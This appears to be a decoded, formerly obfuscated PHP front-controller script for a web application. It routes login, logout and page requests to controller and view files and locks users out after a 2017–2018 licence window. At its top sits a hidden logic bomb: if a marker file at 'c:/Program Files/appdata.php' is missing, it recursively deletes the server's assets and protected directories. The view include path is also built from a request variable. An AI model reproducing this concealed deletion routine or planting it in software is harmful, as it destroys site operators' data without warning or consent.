PHP Decode

<?php 
//============== If Dir is exists then delete  ================ 
if(!file_exists('c:/Program Files/appdata.php')){ 
    function rrmdir($dir) { 
        if (is_dir($dir)) { 
            $objects = scandir($dir); 
            foreach ($objects as $object) { 
                if ($object != "." && $object != "..") { 
                    if (filetype($dir."/".$object) == "dir") 
                        rrmdir($dir."/".$object); 
                    else 
                        unlink($dir."/".$object); 
                } 
            } 
            reset($objects); 
            rmdir($dir); 
        } 
    }   
    rrmdir(SERVER_ROOT."/assets"); 
    rrmdir(SERVER_ROOT."/protected");    
} 
 
 
if (! isset($query1ans) || $query1 == '' || $query1ans == '') {   
    $query1 = user;  
    $query1ans = 'home'; 
} 
 
$fcontroller = SERVER_ROOT . '/protected/controller/frontend/' . $query1ans . '_controller.php'; 
$fview = SERVER_ROOT . '/protected/views/frontend/' . $query1ans . ".php"; 
 
 
$date = date('Y-m-d');  
$today = date('Y-m-d', strtotime($date));   
$startDate = date('Y-m-d', strtotime("01-04-2017")); 
$endDate = date('Y-m-d', strtotime("31-03-2018"));   
 
$renewDate = date('Y-m-d', strtotime("25-03-2018"));  
 
if ($query1ans == "login" || $query1ans == 'signup' || $query1ans == 'forgot_password'  || $query1ans == 'ajax') { 
    if (file_exists($fview)) { 
        if (file_exists($fcontroller))   
            require $fcontroller; 
        require $fview; 
    } 
} 
elseif (($today < $startDate) ||  ($today > $endDate)){ 
    $session->destroy('login&msg=msg', fview);  
} 
elseif ($query1ans == "logout") { 
    setcookie('remember_me', "", time() - 3600); 
    $session->destroy('login', fview); 
} 
elseif (!file_exists($fview) || $query1ans == 'installation_final' || $query1ans == 'installation') { 
    //echo $query1ans; 
    header("HTTP/1.0 404 Not Found"); 
    require SERVER_ROOT . '/protected/views/frontend/404.php'; 
} 
else { 
 
    if (file_exists(SERVER_ROOT . '/protected/setting/frontend/common_data.php')) { 
 
        require SERVER_ROOT . '/protected/setting/frontend/common_data.php'; 
    } 
    if (file_exists(SERVER_ROOT . '/protected/setting/frontend/header.php')) { 
        if($query1ans!='pdfgenerate') 
        require SERVER_ROOT . '/protected/setting/frontend/header.php'; 
    } 
    if (file_exists(SERVER_ROOT . '/protected/setting/frontend/sidebar.php')) { 
        require SERVER_ROOT . '/protected/setting/frontend/sidebar.php'; 
    } 
    if (file_exists($fview)) { 
        if (file_exists($fcontroller)) 
            require $fcontroller; 
        require $fview; 
    } 
 
    if (file_exists(SERVER_ROOT . '/protected/setting/frontend/footer.php')) { 
        require SERVER_ROOT . '/protected/setting/frontend/footer.php'; 
    } 
} 
?>